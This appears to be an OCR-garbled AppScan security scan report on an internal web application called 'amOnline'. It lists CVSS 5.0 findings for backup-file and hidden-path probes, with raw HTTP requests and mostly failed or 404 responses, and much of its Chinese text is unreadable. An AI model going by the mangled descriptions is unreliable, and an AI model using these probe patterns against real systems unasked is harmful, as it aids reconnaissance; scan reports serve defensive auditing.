x-ua-compatible: IE=edge,chrome=1

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache

expires: 0

<!DOCTYPE HTML>

<html style="height:100%">

<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>H pilbys Bfy A E % HEMBHRE RS (ki) </title>

<link rel="shortcut icon" href="/amOnline/static/images/favicon.ico"
mce_href="/amOnline/static/images/favicon.ico" type="image/x-icon"/>
<link rel="icon" href="/amOnline/static/images/favicon.ico"/>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0,

check=0" />

pre-
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<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="Expires" content="0" />

<link href="/amOnline/static/script/themes/default/ui.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/themes/default/login.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/script/themes/icon.css" type="text/css" rel="stylesheet"/>

<link href="/amOnline/static/themes/default/app.css" type="text/css" rel="stylesheet"/>
<script src="/amOnline/static/script/jquery2.js" type="text/javascript"></script>

<script src="/amOnline/static/script/jquery-migrate-1.2.1.js" type="text/javascript"></script>
<script src="/amOnline/static/script/jquery.ui.js" type="text/javascript"></script>

<script src="/amOnline/static/script/locale/ui-lang-zh CN.js" type="text/javascript"></script>
<script src="/amOnline/static/script/core.js" type="text/javascript"></script>

<script type="text/javascript">

var context = '/amOnline';

var authorizeType = 'l';

var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b87694e7al39c';
</script>

<script src="/amOnline/static/script/common.]js" type="text/javascript"></script>
<script src="/amOnline/static/script/AppLogin.js?v=20171023" type="text/javascript"></script>

<t-- ELRFR -
<script src="/amOnline/static/am/vendor/zxkf/kefu.js"></script>
<link href="/amOnline/static/am/vendor/zxkf/zxkf.css" rel="stylesheet" />

<U-- BB -->
<script src="/amOnline/static/script/jquery.qrcode.min.js" type="text/javascript"></script>
<script src="/amOnline/static/script/qr.code.login.js" type="text/javascript"></script>

<style type="text/css">
.floatTool {

width: 110px;

height: 138px;
position: absolute;
right: Opx;

top: 50%;

margin-top: -69px;
vertical-align: middle;
text-align: center;

.messager-text{
width:200px;
}
.qr_login_sm_fs{height:100px;width: 288px;margin:0px auto;text-align: center; }
.login_type_fs{float:left; width:33%;}
a.a-login-sm {text-decoration: none; color:#5b5b5b; cursor: pointer;font-size: 16px;}
a.a-login-sm:hover {color:#FF8800 ; text-decoration:none; }
</style>
</head>

<body class="login_bg">
<div style="position:absolute;width:100%;height:100%; text-align: center;">
<img src="/amOnline/static/themes/default/images/1_m title_info.png" style="margin-
top:270px;"/>
</div>

< --fE&KMBegin-->
<div id="floatTools" class="rides-cs">
<div class="floatL">

<a style="display: block" id="aFloatTools_Show" class="btnOpen" title=" BEELRE
k"™ onClick="javascript:$('#divFloatToolsView') .animate ({width: 'show', opacity: 'show'},
'normal', function(){ $('#divFloatToolsView').show();kf setCookie ('RightFloatShown', 0, '', '/',

'www.shopnc.net');

}):$ ("#aFloatTools_Show') .attr('style', 'display:none');$ ('#aFloatTools_Hide').attr('style', 'disp.

href="javascript:void(0) ;">

JEIF</a>
<a style="display: none" id="aFloatTools Hide" class="btnCtn" title=" KMTELR ]
onClick="javascript:$('#divFloatToolsView') .animate ({width: 'hide', opacity: 'hide'},
'normal', function(){ $('#divFloatToolsView').hide();kf setCookie('RightFloatShown', 1, '', '/',

'www.shopnc.net"') ;

}):$('#aFloatTools_Show') .attr('style', 'display:block');$('#aFloatTools_Hide') .attr('style', 'dis.

href="javascript:void(0) ;">
Wei</a> </div>
<div id="divFloatToolsView" class="floatR" style="display: none">
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<p><img src="/amOnline/static/8.jpg" width="100px" height="100px"/></p>
<p><span style="text-align: left; color:

B Ik o

HE A T @ TOC
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HESCF T
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Cvss 7i#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/psinfo/psinfollistpsinfo.page

Sk - psinfollistPsInfo.page (Page)

PR - RS TR A ST, X 2 R S PR 7 a8 A S At n 7 46 AN R 2 SR BIURE B
J&A - FEAE R P B T Il SO

P .- B2 REAUL H o P B0 IR AR A S

Z5F:  cookie CLAIERERZ: 57a6a5aE8R37C43B017578F75A282932
28 CEREZ: 1561348464198
%ﬁ U\U\Tﬁﬁﬂiﬁ}?ﬁﬁﬂ /amOnline/app/psinfo/psInfo!listPsInfo.page %:
/amOnline/app/psinfo/psInfo!listPsInfo.page.arc
HERE: PR RIS S R AR R BB S AR HTML WA, RS R 2% .
a7 R A -

2019/6/24



GET /amOnline/app/psinfo/psInfo!listPsInfo.page.arc?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:15 GMT

Set-Cookie: JSESSIONID=F17D52D778832875D4B72F8679B7B8A9; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " A G S sl O W, 1 sk

}

HE 2 /5 ToC

UEL =B85 BT 2

e

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!jsonlist.page

k- abnormityAction!jsonList.page (Page)

PR - A RES TR AT, X 2R N AR P2 A S A v A0 7 44 A RS 2 R BURE B
J5H - FELE PR T B T I I ST

10 L - B 25 AU H s P T IR RRA SO

ZE5t:  cookie TLANIERFRZ:: 57a6A5AE8E37C43B017578F75A282932
S CERFRZE:  2019-04-24
S8 CIERFRZE:  2019-06-24
Fiik DU BEATHER]:  posT  B: eET
Tk IWCLT AL B AT
search_alarmType=2&search_disposeType=1l&pageNo=1&pageSize=15&showPageInfo=truesshowPageList=f
alse

ESY
ﬁﬁ%@ Eibkﬁ%ﬁi&%iE: application/x-www-form-urlencoded; charset=UTF-8
ﬂﬁ%% Akgljiﬁigiﬂiff%§%U: /amOnline/app/abnormity/abnormityAction!jsonList.page ﬁi:
/amOnline/app/abnormity/abnormityAction!jsonList.page.arc
ez SRR IEAE S I RLR AR BEEIE HTML A%, RonERER R,
TR 75 SR A iz -

GET /amOnline/app/abnormity/abnormityAction!jsonlList.page.arc HTTP/1.1
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Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:14 GMT

Set-Cookie: JSESSIONID=38B6394CD98CD7C6A35B6071985212F1; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " S B S s OO W, 1 sk
}
"1 H
@ 3 / 5 TOC

B SO T3
T -
CVSS 7+#: 5.0

URL: http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!getpollutantswithpsid.page
k- onlineAction!getPollutantsWithPsID.page (Page)

PR - AIRES T RRIm N A SO, X o it S TR e 1 0 R LAt P 42 DB S 2 2R BIURAE &
J&HA - FEAE =I5 b B R I i ST

I 5 .- B 25 HEAUL H s b T IR RRA SO A

Z5: cookie CEREEZE: 57n6a5aE8E37C43B017578F75A282932
Jiik MWL B TR posT #: eET
%ﬁ%ﬁ AKELW:ﬁiEEHE?T%iﬁﬂ: /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page

ER /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page.ARC

R MR R SO RO AR B S AR HTML W2, RoRiEAUD R R 2.
i R A -

GET /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page.ARC?psID=510101055565
HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction'!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

2019/6/24



i

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:16 GMT

Set-Cookie: JSESSIONID=5CD15B54E4243AD6DA2D8A4E6677EC56; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " TEBA B S O, e s

}

4 | 5

RS T

FEEE

Cvss 7+#t: 5.0

URL:

http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!findacceptinfos.page
spotAction!findAcceptinfos.page (Page)

AIRES T ARIm N A SO, X it S T 1 4R A LAt P 44 A B S 2 SR BIURE B
1

: B 25 AU H s P T IR RRA SO

Z=5t:  cookie CMIERERZ:: 57a6a5AE8E37C43B017578F75A282932

Jiik MU B TR posT B: T

j£?$ AkELWiﬁiﬁiﬁE?f%éﬁﬂ: search_acceptStatus=-99&search_pageNo=l&search pageSize=20 ﬁi:

ﬁﬁ%@ Eibkiﬁikﬁ%ig: application/x-www-form-urlencoded; charset=UTF-8
ﬂﬁ%ﬁ AkELWiﬁiﬁiﬁE?ff§%U: /amOnline/app/monitorspot/spotAction!findAcceptInfos.page EH

/amOnline/app/monitorspot/spotAction!findAcceptInfos.page.arc

R MR RS R AR B S A HTML W2, FRoRiEAUD R R C .
i R A -

2019/6/24

GET /amOnline/app/monitorspot/spotAction!findAcceptInfos.page.arc HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:18 GMT

Set-Cookie: JSESSIONID=3129D2C15E1A37DEF5CA20B90BF8A653; Path=/amOnline; HttpOnly

{
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"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " A G S sl O W, 1 sk

5 /5

RS T

FEEE

Cvss 7+#t: 5.0

URL:
Sefhk:

http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!findstopinfos.page
stopAction!findStopInfos.page (Page)

AIRES T ARIm N A SO, X o it S R 1 4R A LAt P 44 A B S 2 SR BIURE B
FEAE =I5 vh B R I i ST

: B2 AU H s b T IR RRA SO

Z5t:  cookie CMIERERZ:: 5726a5AE8E37C43B017578F75A282932

23 CAERBRZE:  2019-04-24

ZH CAIERRZE: 2019-06-24

Fiik DU BEATHER]: posT B: emT

jfﬁk AkElWiﬁiﬁiﬂET?%ﬁﬁﬂ: pageNo=1g&pageSize=20&showPageInfo=true&showPagelList=false §§:
PrmE CIERBRZE:  application/x-www-form-urlencoded; charset=UTF-8

ﬂﬁ%ﬁ AkgijiﬁigiﬂiT?fﬁ%u: /amOnline/app/monitorspot/stopAction!findStopInfos.page ESE

/amOnline/app/monitorspot/stopAction!findStopInfos.page.arc

MR NSRRI S RO AR B S AR HTML W&, RIS R C .
I R o -

2019/6/24

GET /amOnline/app/monitorspot/stopAction!findStopInfos.page.arc HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:19 GMT

Set-Cookie: JSESSIONID=61F52EETEF3F0EDFCB6A8961E27445C5; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S Y, 3 o R

}
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AU 2 SCAF B ACARA
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Fad SO AR

P

Cvss 7r%t: 5.0

URL:
Sefhk:

http://172.20.7.168:8083/amonline/app/psinfo/psinfolview.page

psinfolview.page (Page)

ATRES AR A 5% Web BT FFHOBURME S, 4. BR5. HLEs 4 A/ susoc A &
FELE PR T B T I I ST

: B2 REAUL H ok P S IR AR AR SC AR

ﬁﬁ: %ﬁ U\U—Ffiﬁi&?ﬂiﬂ%ﬂ /amOnline/app/psinfo/psInfo!view.page ESE

/amOnline/app/psinfo/.psInfo!view.page

HERE:  AppScan RIS AT REAS R NI FE P Ak o MR 9200 OK” o X FR7s I R 2

THTER IS AR

I R o -

2019/6/24

GET /amOnline/app/psinfo/.psInfo!view.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">RGHiR</div>

<div class="msgDetail">

<p>HiiRtY: 404</p>

<p>HERMEE: BT DR QAP REUREAE | </p>
</div>

</body>

</html>

TOC

TOC

98



7] /&l

2 / 13

id EEIB R LR EAVITE S

FeEE

Cvss 4H#t: 5.0

URL:
otk

http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!history.page
onlineAction!history.page (Page)

AR AR X Web AR T IBUR(E S, Wi 4. B, HLE A/ s U B
FELE P3RS R B T I I SCAF

: B 25 HEAUL H s P T TR RRcAS SO

ﬁﬂ: %ﬁ }‘}\U\—F{j_ﬁi&?fﬁ%u /amOnline/app/onlinemon/onlineAction'!history.page E:

/amOnline/app/onlinemon/.onlineAction!history.page

HERE:  AppScan RIS AT REAS R N IFE P Ak 3 . M RRA 9200 OK” o X R I R

TSRS N2

a7 SR A -

2019/6/24

GET /amOnline/app/onlinemon/.onlineAction'!history.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO33DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">RGHiiR</div>

<div class="msgDetail">

<p>ihiRtS: 404</p>

<p>HERMEE: BT DR QAP REAREAE L </p>
</div>

</body>

</html>
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3B SCAF AR

FeEE

Cvss 7+#t: 5.0

URL:
KAk
P =
-
I 5 i

http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!list.page
spotActionllist.page (Page)

A RES SRR X Web MR P OBURME S, W 4. Ba0. HLE 4 A/ Ui A &
FEAE P RS B R i ST

: B 25 HE AU H S AP I TH RRCAS SO

%E}l": %ﬁ }J\U\‘F{jﬁﬁﬁt*ﬁ_ﬁﬁu /amOnline/app/monitorspot/spotAction!list.page R

/amOnline/app/monitorspot/01d%20spotAction!list.page

HEFE:  AppScan RIS AT REASE R HTFE Ao o W RRAE 9200 OK” . X s I BRI

THTER ISR
I R i -

7] 7t

2019/6/24

GET /amOnline/app/monitorspot/01d%20spotAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO33DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REMiR</div>

<div class="msgDetail">

<p>EfiRiY: 404</p>

<p>HIRMEE: YR ITh R CAE BRI EE | </p>
</div>

</body>

</html>
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Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!list.page

Sz stopActionllist.page (Page)

ARG - I RESINER 55 Web SRR IIEURME R, W &, %0, Hlas M aimugoc o &
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%Fﬁ": %ﬁ N\U\Tﬁﬁlﬁﬁﬁf*ﬁﬂ /amOnline/app/monitorspot/stopAction!list.page E:

/amOnline/app/monitorspot/_stopAction!list.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/monitorspot/ stopAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/revisedmanage/revisedaction!list.page

Sz revisedActionllist.page (Page)

ARG - I RESINER 55 Web SRR IIEURME R, W &, %0, Hlas M aimugoc o &
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%Fﬁ": %ﬁ }‘)\IJ\_F{jEJ&ﬁt}§$U /amOnline/app/revisedmanage/revisedAction!list.page @:

/amOnline/app/revisedmanage/.revisedAction!list.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/revisedmanage/.revisedAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/account/accountaction!list.page

Sz accountActionllist.page (Page)

ARG - I RESINER 55 Web SRR IIEURME R, W &, %0, Hlas M aimugoc o &
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/account/accountAction!list.page §§:

/amOnline/app/account/.accountAction!list.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/account/.accountAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/loginfo/loginfoaction!list.page

Sz loginfoActionllist.page (Page)

ARG - I RESINER 55 Web SRR IIEURME R, W &, %0, Hlas M aimugoc o &
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/loginfo/loginfoAction!list.page §§:

/amOnline/app/loginfo/01d%20loginfoAction!list.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/loginfo/01d%$20loginfoAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/applogin.page

Sz AppLogin.page (Page)

ARG - I RESINER 55 Web SRR IIEURME R, W &, %0, Hlas M aimugoc o &
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/AppLogin.page EE: /amOnline/app/_AppLogin.page

HEFE:  AppScan R ISCHF AT REAS R R HTFE Ak o o W RDRE 9200 OK” . X s I BRI

T TR SCAF A .

i R A -

i

2019/6/24

GET /amOnline/app/_AppLogin.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=DD5A70E857941E31A168272200273FE6

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">ZRGMiR</div>

<div class="msgDetail">

<p>HiiRtY: 404</p>

<p>HERMEE: BT TR CAPR REURETE L </p>
</div>

</body>

</html>
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Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/psinfo/psinfollistpsinfo.page

Sz psinfollistPsInfo.page (Page)

ARG - I RESINER 55 Web SRR IIEURME R, W &, %0, Hlas M aimugoc o &
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

#Z5: cookie TMIEREEZS:  57A6A5AE8E37C43B017578F75A282932

28 CNERERZ: 1561348464198
ﬁﬁﬁi Ak211:ﬁiiiﬁi?ff§%ﬂ: /amOnline/app/psinfo/psInfo!listPsInfo.page ﬁi:

/amOnline/app/psinfo/.psInfo!listPsInfo.page

HE®E:  AppScan RIS AT REAS R N IFE P Ak 3 . M RRA 9200 OK” o X R I R 2

TSRS N2

a7 SR A -

7] 7t

2019/6/24

GET /amOnline/app/psinfo/.psInfo!listPsInfo.page?psid= HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:16 GMT

Set-Cookie: JSESSIONID=290EE5A894D8E7326DF31202E4979C3C; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " TR R i, W E R

}
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Cvss 7+#t: 5.0

URL:
otk
A=

http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!jsonlist.page
abnormityActionljsonList.page (Page)
I RESINER 55 Web SRR IIEURME R, W &, %0, Hlas M aimugoc o &
FELE PR R BT I SCAF

: B2 RE AU, H s mb B8 T RS S A

#Z5: cookie TMIEREEZS:  57A6A5AE8E37C43B017578F75A282932

28 O RBRE: 2010-04-24

S8 CNERERZ:: 2019-06-24

Jiik MULH A B TS posT &:  cET

Tk WCLH AL E BT
search_alarmType=2&search_disposeType=1&pageNo=1&pageSize=15&showPageInfo=true&showPagelList=f
alse

ECE
ﬁﬁ%ﬁ Eibkiﬁikﬁ%ig: application/x-www-form-urlencoded; charset=UTF-8
%&%ﬁ AkELWiﬁiﬁiﬁE?f%ﬁﬁﬂ: /amOnline/app/abnormity/abnormityAction!jsonList.page Eh

/amOnline/app/abnormity/_abnormityAction!jsonList.page

HEFE:  AppScan RIS AT REASE B HIFE P Ak o o MR J9°200 OK” . X s I BRI 2

THTER SRR
I R A i -

7] /&l

2019/6/24

GET /amOnline/app/abnormity/ abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:15 GMT

Set-Cookie: JSESSIONID=58DCFDDD4FAC3E3452D7EE16EOE362A2; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RRSIE O, HE TR

}
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LA LEEI DR R =R W T S

fa i

Cvss 7+#t: 5.0

